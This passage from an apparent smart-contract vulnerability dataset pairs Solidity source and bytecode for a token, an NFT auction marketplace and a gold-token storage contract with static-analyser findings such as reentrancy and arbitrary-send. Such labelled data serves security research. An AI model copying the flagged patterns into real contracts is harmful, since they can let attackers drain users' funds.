4696f6e204c696d6974000000006044820152606401610709565b6017546001600160a01b038381169116148015906112b357506015546001600160a01b03838116911614155b80156112c857506001600160a01b0382163014155b80156112df57506001600160a01b03821661dead14155b156113a6576018548111156113365760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610709565b601954816113438461091d565b61134d9190612094565b106113a65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610709565b60006113b13061091d565b601a5490915081118080156113d05750601754600160a81b900460ff16155b80156113ea57506017546001600160a01b03868116911614155b80156113ff5750601754600160b01b900460ff165b801561142457506001600160a01b03851660009081526006602052604090205460ff16155b801561144957506001600160a01b03841660009081526006602052604090205460ff16155b156114a957601154600090156114845761147960646114736011548661188390919063ffffffff16565b90611902565b905061148481611944565b61149661149182856120ac565b6116fa565b4780156114a6576114a64761163c565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114ee57506001600160a01b03831660009081526006602052604090205460ff165b8061152057506017546001600160a01b0385811691161480159061152057506017546001600160a01b03848116911614155b1561152d575060006115f0565b6017546001600160a01b03858116911614801561155857506016546001600160a01b03848116911614155b156115b3576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115b3576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115de57506016546001600160a01b03858116911614155b156115f057600d54600f55600e546010555b6115fc84848484611951565b50505050565b600081848411156116265760405162461bcd60e51b81526004016107099190611d5f565b50600061163384866120ac565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561077a573d6000803e3d6000fd5b60006007548211156116dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610709565b60006116e7611985565b90506116f38382611902565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174257611742612009565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561179657600080fd5b505afa1580156117aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ce9190612050565b816001815181106117e1576117e1612009565b6001600160a01b0392831660209182029290920101526016546118079130911684610e32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906118409085906000908690309042906004016120c3565b600060405180830381600087803b15801561185a57600080fd5b505af115801561186e573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261189257506000610670565b600061189e8385612134565b9050826118ab8583612153565b146116f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006116f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119a8565b6107ea3061dead83610f56565b8061195e5761195e6119d6565b611969848484611a1b565b806115fc576115fc601254600f55601354601055601454601155565b6000806000611992611b12565b90925090506119a18282611902565b9250505090565b600081836119c95760405162461bcd60e51b81526004016107099190611d5f565b5060006116338486612153565b600f541580156119e65750601054155b80156119f25750601154155b156119f957565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a2d87611b54565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a5f9087611bb1565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a8e9086611bf3565b6001600160a01b038916600090815260026020526040902055611ab081611c52565b611aba8483611c9c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611aff91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611b2e8282611902565b821015611b4b5750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611b718a600f54601054611cc0565b9250925092506000611b81611985565b90506000806000611b948e878787611d0f565b919e509c509a509598509396509194505050505091939550919395565b60006116f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611602565b600080611c008385612094565b9050838110156116f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610709565b6000611c5c611985565b90506000611c6a8383611883565b30600090815260026020526040902054909150611c879082611bf3565b30600090815260026020526040902055505050565b600754611ca99083611bb1565b600755600854611cb99082611bf3565b6008555050565b6000808080611cd460646114738989611883565b90506000611ce760646114738a89611883565b90506000611cff82611cf98b86611bb1565b90611bb1565b9992985090965090945050505050565b6000808080611d1e8886611883565b90506000611d2c8887611883565b90506000611d3a8888611883565b90506000611d4c82611cf98686611bb1565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611d8c57858101830151858201604001528201611d70565b81811115611d9e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ea57600080fd5b8035611dd481611db4565b919050565b60008060408385031215611dec57600080fd5b8235611df781611db4565b946020939093013593505050565b600060208284031215611e1757600080fd5b81356116f381611db4565b600080600060608486031215611e3757600080fd5b8335611e4281611db4565b92506020840135611e5281611db4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611e8c57600080fd5b823567ffffffffffffffff80821115611ea457600080fd5b818501915085601f830112611eb857600080fd5b813581811115611eca57611eca611e63565b8060051b604051601f19603f83011681018181108582111715611eef57611eef611e63565b604052918252848201925083810185019188831115611f0d57600080fd5b938501935b82851015611f3257611f2385611dc9565b84529385019392850192611f12565b98975050505050505050565b60008060408385031215611f5157600080fd5b50508035926020909101359150565b600060208284031215611f7257600080fd5b5035919050565b600060208284031215611f8b57600080fd5b813580151581146116f357600080fd5b60008060408385031215611fae57600080fd5b8235611fb981611db4565b91506020830135611fc981611db4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156120495761204961201f565b5060010190565b60006020828403121561206257600080fd5b81516116f381611db4565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600082198211156120a7576120a761201f565b500190565b6000828210156120be576120be61201f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121135784516001600160a01b0316835293830193918301916001016120ee565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561214e5761214e61201f565b500290565b60008261217057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076282c2f2e3ab56e40a55ae499a7d3e1c81e0affe595e20ac89e02ef4f4b470264736f6c63430008080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,955 |
0xd21065f1f5376ba9cb151dac3f4242a97630d735 | pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
// File: contracts/IMarketplace.sol
contract IMarketplace {
function createAuction(
uint256 _tokenId,
uint128 startPrice,
uint128 endPrice,
uint128 duration
)
external;
}
// File: contracts/AnimalMarketplace.sol
contract AnimalMarketplace is Ownable, IMarketplace {
using AddressUtils for address;
using SafeMath for uint256;
uint8 internal percentFee = 5;
ERC721Basic private erc721Contract;
struct Auction {
address tokenOwner;
uint256 startTime;
uint128 startPrice;
uint128 endPrice;
uint128 duration;
}
struct AuctionEntry {
uint256 keyIndex;
Auction value;
}
struct TokenIdAuctionMap {
mapping(uint256 => AuctionEntry) data;
uint256[] keys;
}
TokenIdAuctionMap private auctions;
event AuctionBoughtEvent(
uint256 tokenId,
address previousOwner,
address newOwner,
uint256 pricePaid
);
event AuctionCreatedEvent(
uint256 tokenId,
uint128 startPrice,
uint128 endPrice,
uint128 duration
);
event AuctionCanceledEvent(uint256 tokenId);
modifier isNotFromContract() {
require(!msg.sender.isContract());
_;
}
constructor(ERC721Basic _erc721Contract) public {
erc721Contract = _erc721Contract;
}
// "approve" in game contract will revert if sender is not token owner
function createAuction(
uint256 _tokenId,
uint128 _startPrice,
uint128 _endPrice,
uint128 _duration
)
external
{
// this can be only called from game contract
require(msg.sender == address(erc721Contract));
AuctionEntry storage entry = auctions.data[_tokenId];
require(entry.keyIndex == 0);
address tokenOwner = erc721Contract.ownerOf(_tokenId);
erc721Contract.transferFrom(tokenOwner, address(this), _tokenId);
entry.value = Auction({
tokenOwner: tokenOwner,
startTime: block.timestamp,
startPrice: _startPrice,
endPrice: _endPrice,
duration: _duration
});
entry.keyIndex = ++auctions.keys.length;
auctions.keys[entry.keyIndex - 1] = _tokenId;
emit AuctionCreatedEvent(_tokenId, _startPrice, _endPrice, _duration);
}
function cancelAuction(uint256 _tokenId) external {
AuctionEntry storage entry = auctions.data[_tokenId];
Auction storage auction = entry.value;
address sender = msg.sender;
require(sender == auction.tokenOwner);
erc721Contract.transferFrom(address(this), sender, _tokenId);
deleteAuction(_tokenId, entry);
emit AuctionCanceledEvent(_tokenId);
}
function buyAuction(uint256 _tokenId)
external
payable
isNotFromContract
{
AuctionEntry storage entry = auctions.data[_tokenId];
require(entry.keyIndex > 0);
Auction storage auction = entry.value;
address sender = msg.sender;
address tokenOwner = auction.tokenOwner;
uint256 auctionPrice = calculateCurrentPrice(auction);
uint256 pricePaid = msg.value;
require(pricePaid >= auctionPrice);
deleteAuction(_tokenId, entry);
refundSender(sender, pricePaid, auctionPrice);
payTokenOwner(tokenOwner, auctionPrice);
erc721Contract.transferFrom(address(this), sender, _tokenId);
emit AuctionBoughtEvent(_tokenId, tokenOwner, sender, auctionPrice);
}
function getAuctionByTokenId(uint256 _tokenId)
external
view
returns (
uint256 tokenId,
address tokenOwner,
uint128 startPrice,
uint128 endPrice,
uint256 startTime,
uint128 duration,
uint256 currentPrice,
bool exists
)
{
AuctionEntry storage entry = auctions.data[_tokenId];
Auction storage auction = entry.value;
uint256 calculatedCurrentPrice = calculateCurrentPrice(auction);
return (
entry.keyIndex > 0 ? _tokenId : 0,
auction.tokenOwner,
auction.startPrice,
auction.endPrice,
auction.startTime,
auction.duration,
calculatedCurrentPrice,
entry.keyIndex > 0
);
}
function getAuctionByIndex(uint256 _auctionIndex)
external
view
returns (
uint256 tokenId,
address tokenOwner,
uint128 startPrice,
uint128 endPrice,
uint256 startTime,
uint128 duration,
uint256 currentPrice,
bool exists
)
{
// for consistency with getAuctionByTokenId when returning invalid auction - otherwise it would throw error
if (_auctionIndex >= auctions.keys.length) {
return (0, address(0), 0, 0, 0, 0, 0, false);
}
uint256 currentTokenId = auctions.keys[_auctionIndex];
Auction storage auction = auctions.data[currentTokenId].value;
uint256 calculatedCurrentPrice = calculateCurrentPrice(auction);
return (
currentTokenId,
auction.tokenOwner,
auction.startPrice,
auction.endPrice,
auction.startTime,
auction.duration,
calculatedCurrentPrice,
true
);
}
function getAuctionsCount() external view returns (uint256 auctionsCount) {
return auctions.keys.length;
}
function isOnAuction(uint256 _tokenId) public view returns (bool onAuction) {
return auctions.data[_tokenId].keyIndex > 0;
}
function withdrawContract() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function refundSender(address _sender, uint256 _pricePaid, uint256 _auctionPrice) private {
uint256 etherToRefund = _pricePaid.sub(_auctionPrice);
if (etherToRefund > 0) {
_sender.transfer(etherToRefund);
}
}
function payTokenOwner(address _tokenOwner, uint256 _auctionPrice) private {
uint256 etherToPay = _auctionPrice.sub(_auctionPrice * percentFee / 100);
if (etherToPay > 0) {
_tokenOwner.transfer(etherToPay);
}
}
function deleteAuction(uint256 _tokenId, AuctionEntry storage _entry) private {
uint256 keysLength = auctions.keys.length;
if (_entry.keyIndex <= keysLength) {
// Move an existing element into the vacated key slot.
auctions.data[auctions.keys[keysLength - 1]].keyIndex = _entry.keyIndex;
auctions.keys[_entry.keyIndex - 1] = auctions.keys[keysLength - 1];
auctions.keys.length = keysLength - 1;
delete auctions.data[_tokenId];
}
}
function calculateCurrentPrice(Auction storage _auction) private view returns (uint256) {
uint256 secondsInProgress = block.timestamp - _auction.startTime;
if (secondsInProgress >= _auction.duration) {
return _auction.endPrice;
}
int256 totalPriceChange = int256(_auction.endPrice) - int256(_auction.startPrice);
int256 currentPriceChange =
totalPriceChange * int256(secondsInProgress) / int256(_auction.duration);
int256 calculatedPrice = int256(_auction.startPrice) + int256(currentPriceChange);
return uint256(calculatedPrice);
}
} | 0x6080604052600436106100ae5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663011879db81146100b357806337e246ad146100e5578063715018a61461011157806377413267146101265780638da5cb5b1461019757806396b5a755146101c85780639da9df3e146101e0578063b1ddf52f146101f5578063e45c18791461020d578063f2fde38b14610234578063fd8acc4214610255575b600080fd5b3480156100bf57600080fd5b506100e36004356001608060020a0360243581169060443581169060643516610260565b005b3480156100f157600080fd5b506100fd600435610506565b604080519115158252519081900360200190f35b34801561011d57600080fd5b506100e3610519565b34801561013257600080fd5b5061013e600435610585565b60408051988952600160a060020a0390971660208901526001608060020a03958616888801529385166060880152608087019290925290921660a085015260c0840191909152151560e083015251908190036101000190f35b3480156101a357600080fd5b506101ac61062c565b60408051600160a060020a039092168252519081900360200190f35b3480156101d457600080fd5b506100e360043561063b565b3480156101ec57600080fd5b506100e3610734565b34801561020157600080fd5b5061013e60043561077b565b34801561021957600080fd5b50610222610860565b60408051918252519081900360200190f35b34801561024057600080fd5b506100e3600160a060020a0360043516610867565b6100e3600435610887565b6001546000908190600160a060020a0316331461027c57600080fd5b600086815260026020526040902080549092501561029957600080fd5b600154604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018990529051600160a060020a0390921691636352211e916024808201926020929091908290030181600087803b15801561030057600080fd5b505af1158015610314573d6000803e3d6000fd5b505050506040513d602081101561032a57600080fd5b5051600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038085166004830152306024830152604482018b905291519394509116916323b872dd9160648082019260009290919082900301818387803b1580156103a257600080fd5b505af11580156103b6573d6000803e3d6000fd5b50506040805160a081018252600160a060020a03851680825242602083018190526001608060020a03808c169484018590528a8116606085018190528a821660809095018590526001808b01805473ffffffffffffffffffffffffffffffffffffffff191690951790945560028a01929092556003808a0180547001000000000000000000000000000000009094026fffffffffffffffffffffffffffffffff199485169097179092169590951790556004880180549091169092179091558154019250610485915082610d02565b8083556003805488926000190190811061049b57fe5b60009182526020918290200191909155604080518881526001608060020a0380891693820193909352828716818301529185166060830152517f1f3fa07eef312d01584476eae20b7e2ec9c47e5e9dbe030f1b6f4fd2e4e98ebd9181900360800190a1505050505050565b6000908152600260205260408120541190565b600054600160a060020a0316331461053057600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000818152600260205260408120819081908190819081908190819060018101826105af826109f5565b905060008360000154116105c45760006105c6565b8b5b82546002840154600185015460038601548754949f50600160a060020a039093169d506001608060020a038083169d5070010000000000000000000000000000000090920482169b5099501696509094506000109250835b505050919395975091939597565b600054600160a060020a031681565b60008181526002602052604090206001810180543390600160a060020a0316811461066557600080fd5b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152306004820152600160a060020a03848116602483015260448201889052915191909216916323b872dd91606480830192600092919082900301818387803b1580156106d957600080fd5b505af11580156106ed573d6000803e3d6000fd5b505050506106fb8484610aa7565b6040805185815290517fed8fb000ffbca95a3d18bf4e255c9afd07b522bebf471f94919571d2cafaa4a79181900360200190a150505050565b600054600160a060020a0316331461074b57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610778573d6000803e3d6000fd5b50565b60008060008060008060008060008060006002600101805490508c1015156107bb5760009a508a995089985088975087965086955085945084935061061e565b600380548d9081106107c957fe5b906000526020600020015492506002600001600084815260200190815260200160002060010191506107fa826109f5565b825460028401546001808601546003870154979f50600160a060020a039093169d506001608060020a038083169d5070010000000000000000000000000000000090920482169b5091995094909416965094509192508991505050919395975091939597565b6003545b90565b600054600160a060020a0316331461087e57600080fd5b61077881610b98565b6000808080808061089733610c15565b156108a157600080fd5b60008781526002602052604081208054909750116108be57600080fd5b600186018054909550339450600160a060020a031692506108de856109f5565b9150349050818110156108f057600080fd5b6108fa8787610aa7565b610905848284610c1d565b61090f8383610c78565b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152306004820152600160a060020a038781166024830152604482018b9052915191909216916323b872dd91606480830192600092919082900301818387803b15801561098357600080fd5b505af1158015610997573d6000803e3d6000fd5b5050604080518a8152600160a060020a0380881660208301528816818301526060810186905290517f83a815b11f49373aebbe0b7a4065fc83c15d7dbdde75e788016e4ae250c12f039350908190036080019150a150505050505050565b600181015460038201546000914203908290819081906001608060020a03168410610a4357600286015470010000000000000000000000000000000090046001608060020a03169450610a9e565b600286015460038701546001608060020a03808316700100000000000000000000000000000000909304811692909203945016848402811515610a8257fe5b60028801546001608060020a0316919005908101955091508490505b50505050919050565b60035481548110610b93578154600380546002916000916000198601908110610acc57fe5b60009182526020808320909101548352820192909252604001902055600380546000198301908110610afa57fe5b600091825260209091200154825460038054909160001901908110610b1b57fe5b6000918252602090912001556000198101610b37600382610d02565b506000838152600260208190526040822082815560018101805473ffffffffffffffffffffffffffffffffffffffff19169055908101829055600381019190915560040180546fffffffffffffffffffffffffffffffff191690555b505050565b600160a060020a0381161515610bad57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000903b1190565b6000610c2f838363ffffffff610cf016565b90506000811115610c7257604051600160a060020a0385169082156108fc029083906000818181858888f19350505050158015610c70573d6000803e3d6000fd5b505b50505050565b60008054610caf9060649074010000000000000000000000000000000000000000900460ff1684028491900463ffffffff610cf016565b90506000811115610b9357604051600160a060020a0384169082156108fc029083906000818181858888f19350505050158015610c72573d6000803e3d6000fd5b600082821115610cfc57fe5b50900390565b815481835581811115610b9357600083815260209020610b9391810190830161086491905b80821115610d3b5760008155600101610d27565b50905600a165627a7a7230582027c0bfd333c7e768ae4ffec8257dc39991d8ffd9fabd7a63b9fbcdfa96a0f86b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,956 |
0xd55fb1a81af292f565cf194a222b4ffe724aa8cf | pragma solidity ^0.4.19;
contract IGold {
function balanceOf(address _owner) constant returns (uint256);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
// StdToken inheritance is commented, because no 'totalSupply' needed
contract IMNTP { /*is StdToken */
function balanceOf(address _owner) constant returns (uint256);
// Additional methods that MNTP contract provides
function lockTransfer(bool _lock);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
contract SafeMath {
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender == creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
contract StringMover {
function stringToBytes32(string s) constant returns(bytes32){
bytes32 out;
assembly {
out := mload(add(s, 32))
}
return out;
}
function stringToBytes64(string s) constant returns(bytes32,bytes32){
bytes32 out;
bytes32 out2;
assembly {
out := mload(add(s, 32))
out2 := mload(add(s, 64))
}
return (out,out2);
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function bytes64ToString(bytes32 x, bytes32 y) constant returns (string) {
bytes memory bytesString = new bytes(64);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
for (j = 0; j < 32; j++) {
char = byte(bytes32(uint(y) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract Storage is SafeMath, StringMover {
function Storage() public {
controllerAddress = msg.sender;
}
address public controllerAddress = 0x0;
modifier onlyController() { require(msg.sender==controllerAddress); _; }
function setControllerAddress(address _newController) onlyController {
controllerAddress = _newController;
}
address public hotWalletAddress = 0x0;
function setHotWalletAddress(address _address) onlyController {
hotWalletAddress = _address;
}
// Fields - 1
mapping(uint => string) docs;
uint public docCount = 0;
// Fields - 2
mapping(string => mapping(uint => int)) fiatTxs;
mapping(string => uint) fiatBalancesCents;
mapping(string => uint) fiatTxCounts;
uint fiatTxTotal = 0;
// Fields - 3
mapping(string => mapping(uint => int)) goldTxs;
mapping(string => uint) goldHotBalances;
mapping(string => uint) goldTxCounts;
uint goldTxTotal = 0;
// Fields - 4
struct Request {
address sender;
string userId;
string requestHash;
bool buyRequest; // otherwise - sell
// 0 - init
// 1 - processed
// 2 - cancelled
uint8 state;
}
mapping (uint=>Request) requests;
uint public requestsCount = 0;
///////
function addDoc(string _ipfsDocLink) public onlyController returns(uint) {
docs[docCount] = _ipfsDocLink;
uint out = docCount;
docCount++;
return out;
}
function getDocCount() public constant returns (uint) {
return docCount;
}
function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) {
require(_index < docCount);
return stringToBytes64(docs[_index]);
}
function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) {
require(0 != _amountCents);
uint c = fiatTxCounts[_userId];
fiatTxs[_userId][c] = _amountCents;
if (_amountCents > 0) {
fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents));
} else {
fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents));
}
fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1);
fiatTxTotal++;
return c;
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return fiatTxCounts[_userId];
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return fiatTxTotal;
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < fiatTxCounts[_userId]);
return fiatTxs[_userId][_index];
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return fiatBalancesCents[_userId];
}
function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) {
require(0 != _amount);
uint c = goldTxCounts[_userId];
goldTxs[_userId][c] = _amount;
if (_amount > 0) {
goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount));
} else {
goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount));
}
goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1);
goldTxTotal++;
return c;
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return goldTxCounts[_userId];
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return goldTxTotal;
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < goldTxCounts[_userId]);
return goldTxs[_userId][_index];
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
return goldHotBalances[_userId];
}
function addBuyTokensRequest(address _who, string _userId, string _requestHash) public onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
